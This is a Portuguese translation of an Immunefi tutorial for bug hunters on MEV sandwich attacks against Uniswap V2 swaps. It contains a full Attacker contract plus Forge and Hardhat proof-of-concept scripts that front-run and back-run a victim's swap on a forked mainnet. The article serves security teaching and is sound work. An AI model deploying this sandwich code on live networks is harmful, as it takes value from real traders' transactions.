Introdução
As explorações no espaço blockchain estão se tornando mais complexas.
Antes, os desenvolvedores de contratos inteligentes e auditores precisavam principalmente pensar em como proteger os contratos inteligentes contra explorações que ocorriam em uma única transação, mas agora, é muito mais comum ver ataques que ocorrem ao longo de várias transações.
Os hacker de chapéu preto também estão cada vez mais arriscando grandes quantias de fundos pessoais em busca de ganhos astronômicos.
Apenas na semana passada, um criminoso arriscou 50 ETH (~$96,000) para executar um ataque contra a Rodeo Finance, resultando em um lucro de cerca de 472 ETH, avaliado em aproximadamente ~$890,000. Casos como esse solidificam o princípio de que o "custo do ataque" não é um dissuasor de segurança eficaz e que qualquer protocolo que dependa de altos custos de ataque para se manter seguro deve repensar sua estratégia.
Neste artigo, explicaremos uma das maneiras comuns pelas quais um criminoso pode atacar um protocolo vulnerável usando MEV. Também explicaremos como nós, como caçadores de bugs, podemos demonstrar adequadamente um vetor de ataque MEV com uma PoC (prova de conceito).
O que é MEV
MEV (Valor Minerável Extraívell ou Valor Extraível Máximo - Miner Extractable Value ou Maximal Extractable Value, no original) permite aos mineradores excluir, incluir e ordenar as transações na blockchain antes que o bloco seja minerado. Isso mudou bastante após o Merge da Ethereum, resultando na transferência dessa função de ordenação de transações para os validadores da rede. No entanto, o vetor de ataque MEV ainda é comum e relevante no espaço blockchain.
Existem várias maneiras pelas quais o MEV pode ser usado por um atacante. Vamos demonstrar o que é conhecido como ataque sanduíche, realizado por meio do front-running e back-running das transações de troca da vítima.
Front-running
O front-running é uma técnica em que um atacante consegue colocar sua transação antes da transação da vítima, para que a transação do atacante seja executada primeiro. Isso pode ser feito inflando o preço do gás da transação maliciosa, para que ela seja priorizada em relação à transação da vítima, que possui uma taxa de gás mais baixa do que a transação maliciosa.
Back-running
O back-running é uma técnica em que um atacante coloca sua transação maliciosa após a execução da transação da vítima. Um atacante pode fazer isso diminuindo o preço do gás da transação maliciosa. Isso garantirá que a transação da vítima seja priorizada em relação à transação de back-run.
Ataque Sanduíche
Em um cenário de ataque sanduíche, o atacante monitora o mempool (uma lista de transações pendentes) em busca de uma transação alvo que eles desejam explorar. Após identificar o alvo, eles enviam duas transações - uma antes e outra depois da transação alvo - cercando-a como o pão em um sanduíche. O objetivo deste sanduíche é manipular a execução ou o resultado da transação alvo a favor do atacante.
Usando os métodos mencionados na seção anterior, o atacante envia duas transações com taxas de gás mais altas e mais baixas do que a transação da vítima, a fim de executar com sucesso o ataque sanduíche. Alternativamente, eles podem enviar um pacote de transações por meio de provedores RPC especializados que podem garantir a ordenação das transações por uma taxa.
Esse tipo de ataque pode ser particularmente problemático nos ecossistemas DeFi, onde transações envolvendo tokens, pools de liquidez ou exchanges descentralizadas são altamente suscetíveis a mudanças com base na ordem das transações. O objetivo do atacante nesses cenários geralmente é manipular os preços dos ativos, lucrar com oportunidades de arbitragem ou explorar outras vulnerabilidades no protocolo para ganho pessoal.
Como Testar um Ataque MEV
Para criar uma PoC que demonstre um ataque MEV, podemos utilizar ferramentas como Hardhat e Forge para criar um fork local de uma blockchain.
Para comprovar um resultado determinístico entre ambos os testes, utilizaremos o mesmo contrato de Atacante, que pode ser acessado através deste Gist no GitHub.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
// Descomente esta linha para usar console.log
// import "hardhat/console.sol";
interface IUniswapV2Router {
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface IERC20 {
function balanceOf(address owner)external view returns(uint256);
function approve(address spender, uint256 amount)external;
}
contract Attacker {
IUniswapV2Router public Router2 = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // token0
IERC20 public WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // token1
constructor() {
USDC.approve(address(Router2), type(uint256).max);
WETH.approve(address(Router2), type(uint256).max);
}
function firstSwap(uint256 amount)external {
address[] memory path = new address[](2);
// Troca de WETH para USDC
path[0] = address(WETH);
path[1] = address(USDC);
Router2.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp + 4200);
}
function secondSwap()external {
address[] memory path = new address[](2);
// Troca de USDC para WETH
path[0] = address(USDC);
path[1] = address(WETH);
uint256 amount = USDC.balanceOf(address(this));
Router2.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp + 4200);
}
function getUSDCBalance(address user)external view returns(uint256 result) {
return USDC.balanceOf(user);
}
function getWETHBalance(address user)external view returns(uint256 result) {
return WETH.balanceOf(user);
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Attacker.sol";
contract Sandwich is Test {
Attacker public attacker;
address public victim;
string RPC_URL = "https://rpc.ankr.com/eth";
uint256 mainnetfork;
IUniswapV2Router public Router2 = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // token0
IERC20 public WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // token1
function setUp() public {
mainnetfork = vm.createFork(RPC_URL);
vm.selectFork(mainnetfork);
vm.rollFork(17626926);
victim = vm.addr(1);
attacker = new Attacker();
deal(address(WETH), victim, 1_000*1e18); // saldo inicial da vítima
deal(address(WETH), address(attacker), 1_000*1e18); // saldo inicial do atacante
}
function _frontrun() internal {
attacker.firstSwap(WETH.balanceOf(address(attacker)));
}
function _victim() internal {
vm.startPrank(victim);
WETH.approve(address(Router2), type(uint256).max);
address[] memory path = new address[](2);
// Trocar de WETH para USDC
path[0] = address(WETH);
path[1] = address(USDC);
Router2.swapExactTokensForTokens(WETH.balanceOf(victim), 0, path, victim, block.timestamp + 4200); // o segundo parâmetro é definido como 0, para torná-lo passível de frontrun
vm.stopPrank();
}
function _backun() internal {
attacker.secondSwap(USDC.balanceOf(address(attacker)));
}
function testSandwich() public {
console.log("Saldo USDC antes (atacante) = ", attacker.getUSDCBalance(address(attacker)));
console.log("Saldo WETH antes (atacante) = ", attacker.getWETHBalance(address(attacker)));
console.log("Saldo USDC antes (vítima) = ", attacker.getUSDCBalance(victim));
console.log("Saldo WETH antes (vítima) = ", attacker.getWETHBalance(victim));
_frontrun();
_victim();
_backun();
console.log("Saldo USDC depois (atacante) = ", attacker.getUSDCBalance(address(attacker)));
console.log("Saldo WETH depois (atacante) = ", attacker.getWETHBalance(address(attacker)));
console.log("Saldo USDC depois (vítima) = ", attacker.getUSDCBalance(victim));
console.log("Saldo WETH depois (vítima) = ", attacker.getWETHBalance(victim));
}
}
// Exigimos explicitamente o Ambiente de Execução do Hardhat aqui. Isso é opcional
// mas útil para executar o script de forma independente através do `node <script>`.
//
// Você também pode executar um script com `npx hardhat run <script>`. Se fizer isso, o Hardhat
// irá compilar seus contratos, adicionar os membros do Ambiente de Execução do Hardhat ao
// escopo global e executar o script.
const { network, ethers } = require("hardhat");
const hre = require("hardhat");
async function main() {
// Fazer um fork da mainnet
await hre.network.provider.request({
method: "hardhat_reset",
params: [{
forking: {
jsonRpcUrl: "https://rpc.ankr.com/eth"
,blockNumber: 17626926
}
}]
})
// Define variáveis importantes a serem usadas para demonstrar um ataque sanduíche MEV
const WETH = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2";
const USDC = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48";
const Router = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D";
const [maliciousUser, victim] = await ethers.getSigners();
const amount = 1000000000000000000000; // 1_000 ETH
/////////////////////////////////////////////////////////////////////////
////// Esta seção de código é responsável pela manipulação de saldos ////////
/////////////////////////////////////////////////////////////////////////
const toBytes32 = (bn) => {
return ethers.hexlify(ethers.zeroPadValue(ethers.toBeHex(BigInt(bn)), 32));
};
const setStorageAt = async (address, index, value) => {
await ethers.provider.send("hardhat_setStorageAt", [address, index, value]);
};
/////////////////////////////////////////////////////////////////////////
// Implementa o código
const attacker = await ethers.deployContract("Attacker");
const maliciousContract = await attacker.getAddress();
console.log("Contrato malicioso:", maliciousContract);
// Manipula o saldo do contrato Attacker para 1.000 WETH
const AttackerIndex = ethers.solidityPackedKeccak256(["uint256", "uint256"], [maliciousContract, 3]); // chave, slot
await setStorageAt(
WETH,
AttackerIndex,
toBytes32(amount).toString()
);
// Manipula o saldo da vítima para 1.000 WETH
const VictimIndex = ethers.solidityPackedKeccak256(["uint256", "uint256"], [victim.address, 3]); // chave, slot
await setStorageAt(
WETH,
VictimIndex,
toBytes32(amount).toString()
);
///////////////////////////////////////////////////////////////////////////////////////////////////////
////// Esta seção de código é responsável por registrar o saldo do contrato malicioso e da vítima ////////
///////////////////////////////////////////////////////////////////////////////////////////////////////
console.log("Endereço do contrato do atacante = ", ethers.getAddress(maliciousContract));
const attackerUSDCBalanceBefore = await attacker.getUSDCBalance(maliciousContract);
const attackerWETHBalanceBefore = await attacker.getWETHBalance(maliciousContract);
console.log("Saldo USDC Antes (atacante) = ", BigInt(attackerUSDCBalanceBefore).toString());
console.log("Saldo WETH Antes (atacante) = ", BigInt(attackerWETHBalanceBefore).toString());
const victimUSDCBalanceBefore = await attacker.getUSDCBalance(victim.address);
const victimWETHBalanceVictim = await attacker.getWETHBalance(victim.address);
console.log("Saldo USDC Antes (vítima) = ", BigInt(victimUSDCBalanceBefore).toString());
console.log("Saldo WETH Antes (vítima) = ", BigInt(victimWETHBalanceVictim).toString());
///////////////////////////////////////////////////////////////////////////////////////////////////////
// A vítima faz uma transação de aprovação para dar autorização ao contrato Router
const approveFunctionName = "approve";
const IERC20Interface = new ethers.Interface([
"function approve(address spender, uint256 amount) public"
]);
const approveParams = [
Router,
BigInt(amount)
]
await victim.sendTransaction({
to: WETH,
data: IERC20Interface.encodeFunctionData(approveFunctionName, approveParams)
});
// Definir o comportamento de mineração como falso, para que a transação seja coletada no mempool, antes da finalização
await network.provider.send("evm_setAutomine", [false]);
/////////////////////////////////////////////////////////////////////////
//////////// A vítima realiza a transação para trocar seu WETH /////////////
/////////////////////////////////////////////////////////////////////////
const functionName = "swapExactTokensForTokens";
const block = await ethers.provider.getBlock(17626926);
const params = [
BigInt(amount), // quantidade de entrada
BigInt(0), // quantidade mínima de saída
[
WETH, // Ativo de entrada
USDC // Ativo de saída
],
victim.address, // Endereço de recebimento
block.timestamp + 7200 // Prazo
];
const routerInterface = new ethers.Interface([
"function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) public"
]);
await victim.sendTransaction({
to: Router,
data: routerInterface.encodeFunctionData(functionName, params),
gasLimit: 500000,
gasPrice: ethers.parseUnits("100", "gwei")
});
/////////////////////////////////////////////////////////////////////////
// O atacante realiza a operação de frontrunning na transação, inflando o argumento gasPrice
await attacker.connect(maliciousUser).firstSwap(BigInt(amount), {gasLimit: 500000, gasPrice: ethers.parseUnits("101", "gwei")} );
// O atacante realiza a operação de backrunning na transação da vítima, diminuindo o argumento gasPrice
await attacker.connect(maliciousUser).secondSwap( {gasLimit: 500000, gasPrice: ethers.parseUnits("99", "gwei")} );
// Registrar a transação pendente que será incluída no próximo bloco usando a tag de bloco pendente
const pendingBlock = await network.provider.send("eth_getBlockByNumber", [
"pending",
false,
]);
console.log("\n Bloco Pendente = " , pendingBlock);
// Minera manualmente o bloco
await ethers.provider.send("evm_mine", []);
///////////////////////////////////////////////////////////////////////////////////////////////////////
////// Esta seção de código é responsável por registrar o saldo do contrato malicioso e da vítima ////////
///////////////////////////////////////////////////////////////////////////////////////////////////////
const attackerUSDCBalanceAfter = await attacker.getUSDCBalance(maliciousContract);
const attackerWETHBalanceAfter = await attacker.getWETHBalance(maliciousContract);
console.log("Saldo USDC Depois (atacante) = ", BigInt(attackerUSDCBalanceAfter).toString());
console.log("Saldo WETH Depois (atacante) = ", BigInt(attackerWETHBalanceAfter).toString());
const victimUSDCBalanceAfter = await attacker.getUSDCBalance(victim.address);
const victimWETHBalanceAfter = await attacker.getWETHBalance(victim.address);
console.log("Saldo USDC Depois (vítima) = ", BigInt(victimUSDCBalanceAfter).toString());
console.log("Saldo WETH Depois (vítima) = ", BigInt(victimWETHBalanceAfter).toString());
///////////////////////////////////////////////////////////////////////////////////////////////////////
}
// Recomendamos este padrão para poder usar async/await em todos os lugares
// e lidar adequadamente com erros.
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
Nesta demonstração, iremos intencionalmente fazer com que a vítima invoque uma transação de troca de WETH para USDC no UniswapV2 com um valor mínimo de 0. O que torna essa transação vulnerável a um ataque sanduíche é o valor mínimo definido como 0, o que significa que a transação não será revertida, mesmo se a vítima receber apenas 0 USDC ou uma variação de 99%. É por isso que é crucial definir o valor mínimo adequadamente.
Hardhat
O Hardhat é um framework para o desenvolvimento de contratos inteligentes, permitindo que um desenvolvedor use JavaScript/TypeScript como forma de interagir com os contratos inteligentes. Antes do Forge (um framework mais recente) estar disponível, a maioria dos hackers de chapéu branco criava seus PoCs bifurcando a blockchain usando o Hardhat.
Convenientemente, o Hardhat já fornece um mecanismo para segurar a finalização de uma transação, para que a transação que invocamos possa ser agregada no mempool antes que essas transações sejam finalizadas.
Guia passo a passo:
Certifique-se de que você já tem o Hardhat instalado em sua máquina (https://github.com/NomicFoundation/hardhat).
Crie um projeto Hardhat simples
mkdir MEV-poc
cd MEV-poc
yarn add hardhat
npx hardhat init
Altere o contrato para o contrato Attacker.
Altere o arquivo na pasta de scripts para
sandwichAttack.js
https://gist.github.com/GibranAkbaromiL/05020630475f4f2599f72b47e52c7949#file-sandwichattack-jsExecute npx hardhat run scripts/sandwichAttack.js
Saída:
Forge
O Forge é um conjunto de ferramentas de desenvolvimento de contratos inteligentes que permite testar, implantar e interagir com a blockchain usando scripts em Solidity. Isso nos permite demonstrar um ataque MEV simplesmente ordenando as transações no arquivo de teste.
Guia passo a passo:
Certifique-se de que você já instalou o Forge em sua máquina (https://book.getfoundry.sh/getting-started/installation).
Crie um projeto Forge simples.
mkdir MEV-poc
cd MEV-poc
forge init
Altere o contrato na pasta src para o contrato do atacante.
Altere o arquivo de teste na pasta de testes para Sandwich.t.sol. https://gist.github.com/GibranAkbaromiL/05020630475f4f2599f72b47e52c7949#file-sandwich-t-sol
Saída:
A partir desses dois casos de teste, conseguimos demonstrar um ataque sanduíche MEV usando o Hardhat e o Forge. Como podemos ver na saída do caso de teste, um atacante e uma vítima começaram com 1000 WETH como saldo inicial e o atacante conseguiu realizar uma operação de frontrunning e backrunning na transação da vítima, resultando em um lucro de aproximadamente 123 WETH para o atacante. Como resultado, a vítima recebeu menos USDC.
O Que Aprendemos
Uma das partes mais cruciais na pesquisa de segurança é criar uma PoC com base na vulnerabilidade potencial que você identificou. Por que isso é tão importante? Porque simplesmente identificar uma vulnerabilidade potencial não torna o ataque válido. A única maneira de confirmarmos se o ataque é válido ou não é por meio da criação de uma PoC, que deve ser criada de forma única para cada vulnerabilidade identificada.
Apenas discutimos um dos muitos vetores de ataque possíveis que podem ocorrer com o MEV e o cenário real de exploração que você descobre como pesquisador pode ser muito diferente do mostrado aqui. No exemplo acima, abordamos apenas um dos vetores mais comuns, que é um ataque sanduíche em uma troca sem proteção contra derrapagem. Se você deseja testar suas habilidades e tentar reproduzir outros vetores de ataque, também pode verificar: front running de mint de NFT, front running de atualizações de preço de um oráculo fora da cadeia e liquidez JIT (just in time - no momento certo, em tradução livre).
Isso é tudo para este artigo. Esperamos que você tenha conseguido obter uma nova compreensão ou revisar algum conhecimento existente em seu "palácio mental", graças aos poucos minutos que passou aqui. Continue caçando por bugs e não pare de aprender. Há novos exploits e bugs para descobrir todos os dias, e não faltam recompensas ou oportunidades para whitehats que se esforçam.
Feliz caçada na Immunefi!
Este artigo foi escrito por Immunefi e traduzido por Adriano P. de Araujo. O original em inglês pode ser encontrado aqui
Top comments (0)